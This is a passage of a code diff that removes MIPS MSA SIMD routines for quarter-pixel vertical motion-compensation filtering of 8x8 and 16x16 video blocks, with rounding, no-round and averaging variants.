-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp9, inp8, inp7, inp6,
-                                           inp10, inp11, inp12, inp13,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp9);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp14 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp10, inp9, inp8, inp7,
-                                           inp11, inp12, inp13, inp14,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp10);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp15 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp11, inp10, inp9, inp8,
-                                           inp12, inp13, inp14, inp15,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp11);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp16 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp12, inp11, inp10, inp9,
-                                           inp13, inp14, inp15, inp16,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp12);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp13, inp12, inp11, inp10,
-                                           inp14, inp15, inp16, inp16,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp13);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp14, inp13, inp12, inp11,
-                                           inp15, inp16, inp16, inp15,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp14);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp15, inp14, inp13, inp12,
-                                           inp16, inp16, inp15, inp14,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp15);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-}
-
-static void vert_mc_qpel_no_rnd_8x8_msa(const uint8_t *src,
-                                        int32_t src_stride,
-                                        uint8_t *dst,
-                                        int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 res0, res1;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    LD_UB2(src, src_stride, inp4, inp5);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp0, inp1, inp2,
-                                                 inp1, inp2, inp3, inp4,
-                                                 inp1, inp0, inp0, inp1,
-                                                 inp2, inp3, inp4, inp5,
-                                                 const20, const6, const3);
-    LD_UB2(src, src_stride, inp6, inp7);
-    src += (2 * src_stride);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp1, inp0, inp0,
-                                                 inp3, inp4, inp5, inp6,
-                                                 inp3, inp2, inp1, inp0,
-                                                 inp4, inp5, inp6, inp7,
-                                                 const20, const6, const3);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-
-    inp8 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp4, inp3, inp2, inp1,
-                                                 inp5, inp6, inp7, inp8,
-                                                 inp5, inp4, inp3, inp2,
-                                                 inp6, inp7, inp8, inp8,
-                                                 const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp6, inp5, inp4, inp3,
-                                                 inp7, inp8, inp8, inp7,
-                                                 inp7, inp6, inp5, inp4,
-                                                 inp8, inp8, inp7, inp6,
-                                                 const20, const6, const3);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst + 4 * dst_stride, dst_stride);
-}
-
-static void vert_mc_qpel_no_rnd_16x16_msa(const uint8_t *src,
-                                          int32_t src_stride,
-                                          uint8_t *dst,
-                                          int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 inp9, inp10, inp11, inp12, inp13, inp14, inp15, inp16;
-    v16u8 res0;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB5(src, src_stride, inp0, inp1, inp2, inp3, inp4);
-    src += (5 * src_stride);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp0, inp0, inp1, inp2,
-                                           inp1, inp2, inp3, inp4,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp5 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp1, inp0, inp0, inp1,
-                                           inp2, inp3, inp4, inp5,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp6 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp2, inp1, inp0, inp0,
-                                           inp3, inp4, inp5, inp6,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp7 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp3, inp2, inp1, inp0,
-                                           inp4, inp5, inp6, inp7,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp8 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp4, inp3, inp2, inp1,
-                                           inp5, inp6, inp7, inp8,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp9 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp5, inp4, inp3, inp2,
-                                           inp6, inp7, inp8, inp9,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp10 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp6, inp5, inp4, inp3,
-                                           inp7, inp8, inp9, inp10,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp11 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp7, inp6, inp5, inp4,
-                                           inp8, inp9, inp10, inp11,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp12 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp8, inp7, inp6, inp5,
-                                           inp9, inp10, inp11, inp12,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp13 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp9, inp8, inp7, inp6,
-                                           inp10, inp11, inp12, inp13,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp14 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp10, inp9, inp8, inp7,
-                                           inp11, inp12, inp13, inp14,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp15 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp11, inp10, inp9, inp8,
-                                           inp12, inp13, inp14, inp15,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp16 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp12, inp11, inp10, inp9,
-                                           inp13, inp14, inp15, inp16,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp13, inp12, inp11, inp10,
-                                           inp14, inp15, inp16, inp16,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp14, inp13, inp12, inp11,
-                                           inp15, inp16, inp16, inp15,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp15, inp14, inp13, inp12,
-                                           inp16, inp16, inp15, inp14,
-                                           const20, const6, const3);
-    ST_UB(res0, dst);
-}
-
-static void vert_mc_qpel_no_rnd_aver_src1_8x8_msa(const uint8_t *src,
-                                                  int32_t src_stride,
-                                                  uint8_t *dst,
-                                                  int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 tmp0, tmp1, res0, res1;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    LD_UB2(src, src_stride, inp4, inp5);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp0, inp1, inp2,
-                                                 inp1, inp2, inp3, inp4,
-                                                 inp1, inp0, inp0, inp1,
-                                                 inp2, inp3, inp4, inp5,
-                                                 const20, const6, const3);
-    LD_UB2(src, src_stride, inp6, inp7);
-    src += (2 * src_stride);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp1, inp0, inp0,
-                                                 inp3, inp4, inp5, inp6,
-                                                 inp3, inp2, inp1, inp0,
-                                                 inp4, inp5, inp6, inp7,
-                                                 const20, const6, const3);
-    tmp0 = (v16u8) __msa_insve_d((v2i64) inp1, 1, (v2i64) inp2);
-    tmp1 = (v16u8) __msa_insve_d((v2i64) inp3, 1, (v2i64) inp4);
-    res0 = __msa_ave_u_b(res0, tmp0);
-    res1 = __msa_ave_u_b(res1, tmp1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-
-    inp8 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp4, inp3, inp2, inp1,
-                                                 inp5, inp6, inp7, inp8,
-                                                 inp5, inp4, inp3, inp2,
-                                                 inp6, inp7, inp8, inp8,
-                                                 const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp6, inp5, inp4, inp3,
-                                                 inp7, inp8, inp8, inp7,
-                                                 inp7, inp6, inp5, inp4,
-                                                 inp8, inp8, inp7, inp6,
-                                                 const20, const6, const3);
-    tmp0 = (v16u8) __msa_insve_d((v2i64) inp5, 1, (v2i64) inp6);
-    tmp1 = (v16u8) __msa_insve_d((v2i64) inp7, 1, (v2i64) inp8);
-    res0 = __msa_ave_u_b(res0, tmp0);
-    res1 = __msa_ave_u_b(res1, tmp1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst + 4 * dst_stride, dst_stride);
-}
-
-static void vert_mc_qpel_no_rnd_aver_src1_16x16_msa(const uint8_t *src,
-                                                    int32_t src_stride,
-                                                    uint8_t *dst,
-                                                    int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 inp9, inp10, inp11, inp12, inp13, inp14, inp15, inp16;
-    v16u8 res0;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB5(src, src_stride, inp0, inp1, inp2, inp3, inp4);
-    src += (5 * src_stride);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp0, inp0, inp1, inp2,
-                                           inp1, inp2, inp3, inp4,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp1);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp5 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp1, inp0, inp0, inp1,
-                                           inp2, inp3, inp4, inp5,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp2);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp6 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp2, inp1, inp0, inp0,
-                                           inp3, inp4, inp5, inp6,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp3);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp7 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp3, inp2, inp1, inp0,
-                                           inp4, inp5, inp6, inp7,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp4);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp8 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp4, inp3, inp2, inp1,
-                                           inp5, inp6, inp7, inp8,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp5);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp9 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp5, inp4, inp3, inp2,
-                                           inp6, inp7, inp8, inp9,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp6);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp10 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp6, inp5, inp4, inp3,
-                                           inp7, inp8, inp9, inp10,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp7);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp11 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp7, inp6, inp5, inp4,
-                                           inp8, inp9, inp10, inp11,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp8);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp12 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp8, inp7, inp6, inp5,
-                                           inp9, inp10, inp11, inp12,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp9);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp13 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp9, inp8, inp7, inp6,
-                                           inp10, inp11, inp12, inp13,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp10);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp14 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp10, inp9, inp8, inp7,
-                                           inp11, inp12, inp13, inp14,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp11);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp15 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp11, inp10, inp9, inp8,
-                                           inp12, inp13, inp14, inp15,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp12);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    inp16 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp12, inp11, inp10, inp9,
-                                           inp13, inp14, inp15, inp16,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp13);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp13, inp12, inp11, inp10,
-                                           inp14, inp15, inp16, inp16,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp14);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp14, inp13, inp12, inp11,
-                                           inp15, inp16, inp16, inp15,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp15);
-    ST_UB(res0, dst);
-    dst += dst_stride;
-
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER(inp15, inp14, inp13, inp12,
-                                           inp16, inp16, inp15, inp14,
-                                           const20, const6, const3);
-    res0 = __msa_ave_u_b(res0, inp16);
-    ST_UB(res0, dst);
-}
-
-static void vert_mc_qpel_avg_dst_aver_src0_8x8_msa(const uint8_t *src,
-                                                   int32_t src_stride,
-                                                   uint8_t *dst,
-                                                   int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 dst0, dst1, dst2, dst3;
-    v16u8 tmp0, tmp1, res0, res1;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    LD_UB2(src, src_stride, inp4, inp5);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(inp0, inp0, inp1, inp2,
-                                        inp1, inp2, inp3, inp4,
-                                        inp1, inp0, inp0, inp1,
-                                        inp2, inp3, inp4, inp5,
-                                        const20, const6, const3);
-
-    LD_UB2(src, src_stride, inp6, inp7);
-    src += (2 * src_stride);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(inp2, inp1, inp0, inp0,
-                                        inp3, inp4, inp5, inp6,
-                                        inp3, inp2, inp1, inp0,
-                                        inp4, inp5, inp6, inp7,
-                                        const20, const6, const3);
-
-    LD_UB4(dst, dst_stride, dst0, dst1, dst2, dst3);
-    tmp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    tmp1 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    dst0 = (v16u8) __msa_insve_d((v2i64) dst0, 1, (v2i64) dst1);
-    dst2 = (v16u8) __msa_insve_d((v2i64) dst2, 1, (v2i64) dst3);
-    AVER_UB2_UB(res0, tmp0, res1, tmp1, res0, res1);
-    AVER_UB2_UB(dst0, res0, dst2, res1, res0, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-    dst += (4 * dst_stride);
-
-    inp8 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(inp4, inp3, inp2, inp1,
-                                        inp5, inp6, inp7, inp8,
-                                        inp5, inp4, inp3, inp2,
-                                        inp6, inp7, inp8, inp8,
-                                        const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(inp6, inp5, inp4, inp3,
-                                        inp7, inp8, inp8, inp7,
-                                        inp7, inp6, inp5, inp4,
-                                        inp8, inp8, inp7, inp6,
-                                        const20, const6, const3);
-
-    LD_UB4(dst, dst_stride, dst0, dst1, dst2, dst3);
-    tmp0 = (v16u8) __msa_insve_d((v2i64) inp4, 1, (v2i64) inp5);
-    tmp1 = (v16u8) __msa_insve_d((v2i64) inp6, 1, (v2i64) inp7);
-    dst0 = (v16u8) __msa_insve_d((v2i64) dst0, 1, (v2i64) dst1);
-    dst2 = (v16u8) __msa_insve_d((v2i64) dst2, 1, (v2i64) dst3);
-    AVER_UB2_UB(res0, tmp0, res1, tmp1, res0, res1);
-    AVER_UB2_UB(dst0, res0, dst2, res1, res0, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void vert_mc_qpel_avg_dst_aver_src0_16x16_msa(const uint8_t *src,
-                                                     int32_t src_stride,
-                                                     uint8_t *dst,
-                                                     int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 inp9, inp10, inp11, inp12, inp13, inp14, inp15, inp16;
-    v16u8 res0, res1, dst0, dst1;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB5(src, src_stride, inp0, inp1, inp2, inp3, inp4);
-    src += (5 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER(inp0, inp0, inp1, inp2,
-                                  inp1, inp2, inp3, inp4,
-                                  const20, const6, const3);
-
-    inp5 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp1, inp0, inp0, inp1,
-                                  inp2, inp3, inp4, inp5,
-                                  const20, const6, const3);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp0, res1, inp1, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp6 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp2, inp1, inp0, inp0,
-                                  inp3, inp4, inp5, inp6,
-                                  const20, const6, const3);
-
-    inp7 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp3, inp2, inp1, inp0,
-                                  inp4, inp5, inp6, inp7,
-                                  const20, const6, const3);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp2, res1, inp3, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp8, inp9);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER(inp4, inp3, inp2, inp1,
-                                  inp5, inp6, inp7, inp8,
-                                  const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER(inp5, inp4, inp3, inp2,
-                                  inp6, inp7, inp8, inp9,
-                                  const20, const6, const3);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp4, res1, inp5, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp10, inp11);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER(inp6, inp5, inp4, inp3,
-                                  inp7, inp8, inp9, inp10,
-                                  const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER(inp7, inp6, inp5, inp4,
-                                  inp8, inp9, inp10, inp11,
-                                  const20, const6, const3);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp6, res1, inp7, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp12, inp13);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER(inp8, inp7, inp6, inp5,
-                                  inp9, inp10, inp11, inp12,
-                                  const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER(inp9, inp8, inp7, inp6,
-                                  inp10, inp11, inp12, inp13,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp8, res1, inp9, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp14, inp15);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER(inp10, inp9, inp8, inp7,
-                                  inp11, inp12, inp13, inp14,
-                                  const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER(inp11, inp10, inp9, inp8,
-                                  inp12, inp13, inp14, inp15,
-                                  const20, const6, const3);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp10, res1, inp11, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp16 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_FILTER(inp12, inp11, inp10, inp9,
-                                  inp13, inp14, inp15, inp16,
-                                  const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER(inp13, inp12, inp11, inp10,
-                                  inp14, inp15, inp16, inp16,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp12, res1, inp13, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp14, inp13, inp12, inp11,
-                                  inp15, inp16, inp16, inp15,
-                                  const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER(inp15, inp14, inp13, inp12,
-                                  inp16, inp16, inp15, inp14,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp14, res1, inp15, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-}
-
-static void vert_mc_qpel_avg_dst_8x8_msa(const uint8_t *src,
-                                         int32_t src_stride,
-                                         uint8_t *dst,
-                                         int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 dst0, dst1, dst2, dst3;
-    v16u8 res0, res1;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    LD_UB2(src, src_stride, inp4, inp5);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(inp0, inp0, inp1, inp2,
-                                        inp1, inp2, inp3, inp4,
-                                        inp1, inp0, inp0, inp1,
-                                        inp2, inp3, inp4, inp5,
-                                        const20, const6, const3);
-    LD_UB2(src, src_stride, inp6, inp7);
-    src += (2 * src_stride);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(inp2, inp1, inp0, inp0,
-                                        inp3, inp4, inp5, inp6,
-                                        inp3, inp2, inp1, inp0,
-                                        inp4, inp5, inp6, inp7,
-                                        const20, const6, const3);
-    LD_UB4(dst, dst_stride, dst0, dst1, dst2, dst3);
-    dst0 = (v16u8) __msa_insve_d((v2i64) dst0, 1, (v2i64) dst1);
-    dst2 = (v16u8) __msa_insve_d((v2i64) dst2, 1, (v2i64) dst3);
-    AVER_UB2_UB(dst0, res0, dst2, res1, res0, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-    dst += (4 * dst_stride);
-
-    inp8 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(inp4, inp3, inp2, inp1,
-                                        inp5, inp6, inp7, inp8,
-                                        inp5, inp4, inp3, inp2,
-                                        inp6, inp7, inp8, inp8,
-                                        const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(inp6, inp5, inp4, inp3,
-                                        inp7, inp8, inp8, inp7,
-                                        inp7, inp6, inp5, inp4,
-                                        inp8, inp8, inp7, inp6,
-                                        const20, const6, const3);
-    LD_UB4(dst, dst_stride, dst0, dst1, dst2, dst3);
-    dst0 = (v16u8) __msa_insve_d((v2i64) dst0, 1, (v2i64) dst1);
-    dst2 = (v16u8) __msa_insve_d((v2i64) dst2, 1, (v2i64) dst3);
-    AVER_UB2_UB(dst0, res0, dst2, res1, res0, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void vert_mc_qpel_avg_dst_16x16_msa(const uint8_t *src,
-                                           int32_t src_stride,
-                                           uint8_t *dst,
-                                           int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 inp9, inp10, inp11, inp12, inp13, inp14, inp15, inp16;
-    v16u8 res0, res1, dst0, dst1;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB5(src, src_stride, inp0, inp1, inp2, inp3, inp4);
-    src += (5 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER(inp0, inp0, inp1, inp2,
-                                  inp1, inp2, inp3, inp4,
-                                  const20, const6, const3);
-    inp5 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp1, inp0, inp0, inp1,
-                                  inp2, inp3, inp4, inp5,
-                                  const20, const6, const3);
